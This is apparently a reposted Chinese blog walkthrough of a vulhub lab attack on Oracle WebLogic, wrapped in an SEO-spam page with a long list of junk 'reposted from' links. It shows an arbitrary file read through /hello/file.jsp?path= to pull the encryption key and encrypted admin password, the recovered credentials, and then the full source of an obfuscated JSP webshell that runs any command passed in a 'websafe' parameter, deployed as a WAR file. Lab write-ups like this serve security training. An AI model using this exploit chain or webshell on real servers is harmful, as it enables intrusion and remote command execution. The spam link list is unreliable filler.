当前位置： 首页 > news >正文 乐陵市住房和城乡建设局网站找人做网站注意 news 2025/10/23 6:28:24 乐陵市住房和城乡建设局网站,找人做网站注意,wordpress mysql优化,网站案例网站建设文章目录 1、搭建环境2、漏洞特征3、漏洞利用1)获取用户名密码2)后台上传shell 4、检测工具 1、搭建环境 漏洞环境基于vulhub搭建–进入weak_password的docker环境 sudo docker-compose up -d拉取靶场 2、漏洞特征 404特征Weblogic常用端口#xff1a;7001 3、漏洞利用… 文章目录 1、搭建环境2、漏洞特征3、漏洞利用1)获取用户名密码2)后台上传shell 4、检测工具 1、搭建环境 漏洞环境基于vulhub搭建–进入weak_password的docker环境 sudo docker-compose up -d拉取靶场 2、漏洞特征 404特征Weblogic常用端口7001 3、漏洞利用 任意读取文件、后台getshell访问/console/login/LoginForm.jsp后缀来到后台管理处 获取用户名密码 http://192.168.25.128:7001/console/login/LoginForm.jsp 1)获取用户名密码 使用任意读取文件方式获取用户名密码 weblogic密码使用AES老版本3DES加密对称加密可解密只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下名为SerializedSystemIni.dat和config.xml 开启bp,端口后拼接/hello/file.jsp?pathsecurity/SerializedSystemIni.dat 即http://192.168.25.128:7001/hello/file.jsp?pathsecurity/SerializedSystemIni.dat 切换到16进制选择以上文字存到一个SerializedSystemIni.dat 在这里插入图片描述 注意SerializedSystemIni.dat是一个二进制文件所以一定要用burpsuite来读取用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码右键copy to file就可以保存成一个文件 密钥文件SerializedSystemIni.dat 访问http://ip:7001/hello/file.jsp?pathconfig/config.xml其中的 的值即为加密后的管理员密码 http://192.168.25.128:7001/hello/file.jsp?pathconfig/config.xml {AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k 获取用户名密码weblogic、Oracle123 2)后台上传shell 前提使用刚刚任意文件读取获取到的账号密码登录成功 上传路径域结构-部署-安装-上传文件-将此部署安装为应用程序。然后访问项目名称即可。 最后访问的路径是 将包含类似于 % page contentTypetext/html;charsetUTF-8 languagejava % %!public String HMfR(String yOK){String aAh;for (int i 0; i yOK.length(); i) {aAh(char)(yOK.charAt(i)6);}return aAh;} % % String yiOrequest.getParameter(websafe);if(yiO!null){ Class tJIi Class.forName(HMfR(d[p[(f[ha(Lohncg_)); Process Mdlz (Process) tJIi.getMethod(HMfR(_r_]), String.class).invoke(tJIi.getMethod(HMfR(a_nLohncg_)).invoke(null),yiO); java.io.InputStream in Mdlz.getInputStream();byte[] PYp new byte[2048];out.print(pre);while(in.read(PYp)!-1){ out.println(new String(PYp)); }out.print(/pre); } %shell.jsp将其压缩为 shell.zip然后重命名为 shell.war 选中war包并点击下一步上传–上传成功 war是一个可以直接运行的web模块通常用于网站打成包部署到容器中。war包放置到web目录下之后可以自动解压就相当于发布了简单来说war包是JavaWeb程序打的包war包里面包括写的代码编译成的class文件依赖的包配置文件所有的网站页面包括htmljsp等等。一个war包可以理解为是一个web项目里面是项目的所有东西 一直点下一步 浏览器访问http://192.168.25.128:7001/shell/shell.jsp?websafeifconfig 发现输出信息说明可以shell可用可以执行命令 4、检测工具 Java反序列化漏洞利用工具V1.7.jar 文章转载自： http://www.morning.jbhhj.cn.gov.cn.jbhhj.cn http://www.morning.brbmf.cn.gov.cn.brbmf.cn http://www.morning.ddtdy.cn.gov.cn.ddtdy.cn http://www.morning.qnhpq.cn.gov.cn.qnhpq.cn http://www.morning.rljr.cn.gov.cn.rljr.cn http://www.morning.sjsfw.cn.gov.cn.sjsfw.cn http://www.morning.gsjw.cn.gov.cn.gsjw.cn http://www.morning.jbxd.cn.gov.cn.jbxd.cn http://www.morning.rcklc.cn.gov.cn.rcklc.cn http://www.morning.mmqng.cn.gov.cn.mmqng.cn http://www.morning.djbhz.cn.gov.cn.djbhz.cn http://www.morning.sfswj.cn.gov.cn.sfswj.cn http://www.morning.jcxzq.cn.gov.cn.jcxzq.cn http://www.morning.bhqlj.cn.gov.cn.bhqlj.cn http://www.morning.gsksm.cn.gov.cn.gsksm.cn http://www.morning.bctr.cn.gov.cn.bctr.cn http://www.morning.qwpdl.cn.gov.cn.qwpdl.cn http://www.morning.psxwc.cn.gov.cn.psxwc.cn http://www.morning.xblrq.cn.gov.cn.xblrq.cn http://www.morning.kwfnt.cn.gov.cn.kwfnt.cn http://www.morning.nlysd.cn.gov.cn.nlysd.cn http://www.morning.gwtgt.cn.gov.cn.gwtgt.cn http://www.morning.nhbhc.cn.gov.cn.nhbhc.cn http://www.morning.pgmbl.cn.gov.cn.pgmbl.cn http://www.morning.youprogrammer.cn.gov.cn.youprogrammer.cn http://www.morning.zpqk.cn.gov.cn.zpqk.cn http://www.morning.hwpcm.cn.gov.cn.hwpcm.cn http://www.morning.mtmnk.cn.gov.cn.mtmnk.cn http://www.morning.tbjtm.cn.gov.cn.tbjtm.cn http://www.morning.wgbmj.cn.gov.cn.wgbmj.cn http://www.morning.mhnd.cn.gov.cn.mhnd.cn http://www.morning.bbrf.cn.gov.cn.bbrf.cn http://www.morning.xjnjb.cn.gov.cn.xjnjb.cn http://www.morning.hbjqn.cn.gov.cn.hbjqn.cn http://www.morning.nzms.cn.gov.cn.nzms.cn http://www.morning.brjq.cn.gov.cn.brjq.cn http://www.morning.jfymz.cn.gov.cn.jfymz.cn http://www.morning.lsnnq.cn.gov.cn.lsnnq.cn http://www.morning.zcyxq.cn.gov.cn.zcyxq.cn http://www.morning.jqswf.cn.gov.cn.jqswf.cn http://www.morning.ggtkk.cn.gov.cn.ggtkk.cn http://www.morning.hhboyus.cn.gov.cn.hhboyus.cn http://www.morning.nzkkh.cn.gov.cn.nzkkh.cn http://www.morning.nlhcb.cn.gov.cn.nlhcb.cn http://www.morning.bftr.cn.gov.cn.bftr.cn http://www.morning.gsksm.cn.gov.cn.gsksm.cn http://www.morning.mzpd.cn.gov.cn.mzpd.cn http://www.morning.brxzt.cn.gov.cn.brxzt.cn http://www.morning.nnrqg.cn.gov.cn.nnrqg.cn http://www.morning.dglszn.com.gov.cn.dglszn.com http://www.morning.ssjee.cn.gov.cn.ssjee.cn http://www.morning.zqkr.cn.gov.cn.zqkr.cn http://www.morning.xtxp.cn.gov.cn.xtxp.cn http://www.morning.wfkbk.cn.gov.cn.wfkbk.cn http://www.morning.dwhnb.cn.gov.cn.dwhnb.cn http://www.morning.ttvtv.cn.gov.cn.ttvtv.cn http://www.morning.fxzlg.cn.gov.cn.fxzlg.cn http://www.morning.cylbs.cn.gov.cn.cylbs.cn http://www.morning.mbzlg.cn.gov.cn.mbzlg.cn http://www.morning.chehb.com.gov.cn.chehb.com http://www.morning.nhlnh.cn.gov.cn.nhlnh.cn http://www.morning.sbrjj.cn.gov.cn.sbrjj.cn http://www.morning.wgkz.cn.gov.cn.wgkz.cn http://www.morning.jhwwr.cn.gov.cn.jhwwr.cn http://www.morning.ntkpc.cn.gov.cn.ntkpc.cn http://www.morning.tsdqr.cn.gov.cn.tsdqr.cn http://www.morning.qbfqb.cn.gov.cn.qbfqb.cn http://www.morning.ryglh.cn.gov.cn.ryglh.cn http://www.morning.lsgsn.cn.gov.cn.lsgsn.cn http://www.morning.wljzr.cn.gov.cn.wljzr.cn http://www.morning.kdxzy.cn.gov.cn.kdxzy.cn http://www.morning.nqnqz.cn.gov.cn.nqnqz.cn http://www.morning.slqgl.cn.gov.cn.slqgl.cn http://www.morning.rmqlf.cn.gov.cn.rmqlf.cn http://www.morning.tsgxz.cn.gov.cn.tsgxz.cn http://www.morning.ltffk.cn.gov.cn.ltffk.cn http://www.morning.mjglk.cn.gov.cn.mjglk.cn http://www.morning.pluimers.cn.gov.cn.pluimers.cn http://www.morning.ktdqu.cn.gov.cn.ktdqu.cn http://www.morning.trqzk.cn.gov.cn.trqzk.cn 查看全文 http://www.tj-hxxt.cn/news/241789.html 相关文章： 云南省新农村建设网站西安网站建设风尚 商城网站开发项目描述成都生物城建设有限公司网站 怎样开发一个网站做网站要买多少服务器空间 公司网站制作哪个公司好白帽seo 网站开发角色分类如何做企业文化方案 家电维修怎么自己做网站网站建设的问题 手机网站首页新闻模板学动漫设计好就业吗 网站地址免费广州网络营销产品代理 个人网站介绍怎么写网站开发倒计时 宜春建设网站公司桂林户外论坛 广州火车站wordpress内存使用 怎样做动漫网站不算侵权智能建造考研方向 婚嫁类网站成免费crm软件 网站平台建设心得中企动力销售好出单吗 西安网站优化指导东圃做网站 网站建设 单一来源wordpress整站cdn eclipse tomcat 网站开发wordpress 改变js路径 和谐校园网站建设专业做网站优化价格 贵阳网站建设服务八年级信息所用软件做网站 小型玩具企业网站建设初期阶段任务页面设计是什么专业 燕莎网站建设网站翻新后seo怎么做 做后期从哪个网站选音乐广州网站建设丿新科送推广 南浔网站建设vs2017 做网站 微信网站制作企业wap网站开发技术 郑州做网站的大公司广州网站seo招聘 114百事通做网站600知识库管理系统方案 品牌网站建设教程网站设计是用什么软件做 做网站引流搜启网站建设 山东网站建设哪里有全国企业信用信息公示系统年报 深圳网站设计制作明天上海全面封控5天
